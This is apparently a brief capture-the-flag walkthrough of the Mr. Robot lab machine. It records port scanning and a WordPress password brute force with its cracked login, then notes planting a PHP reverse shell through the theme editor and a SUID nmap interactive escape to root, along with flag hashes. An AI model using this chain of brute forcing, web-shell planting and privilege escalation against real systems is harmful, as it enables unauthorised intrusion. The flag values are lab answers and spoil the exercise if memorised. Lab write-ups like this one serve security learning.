VANE (WPSSCAN)

REVERSE PHP SHELL

SETUID NMAP PRIVESC

PORT STATE SERVICE VERSION

22/tcp closed ssh

80/tcp open http Apache httpd

|_http-server-header: Apache

|_http-title: Site doesn't have a title (text/html).

443/tcp open ssl/http Apache httpd

|_http-server-header: Apache

|_http-title: Site doesn't have a title (text/html).

| ssl-cert: Subject: commonName=www.example.com

| Not valid before: 2015-09-16T10:45:03

|_Not valid after: 2025-09-13T10:45:03

073403c8a58a1f80d943455fb30724b9

http://10.10.10.17/fsocity.dic

cat pass.txt | sort | uniq > password.txt

ruby vane.rb --url http://10.10.10.17/ --wordlist password.txt --username elliot

[SUCCESS] Login : elliot Password : ER28-0652

Goto appearance>editor edit 404

PHP REVERSE SHELL!!!!!!!!

822c73956184f694993bede3eb39f959

SUID FILE

find / -user root -perm -4000 2>/dev/null

/usr/local/bin/nmap

robot@linux:~$ nmap –interactive

nmap> !whoami

root

nmap> !bash -p

bash-4.3# whoami

root

04787ddef27c3dee1ee161b21670b4e4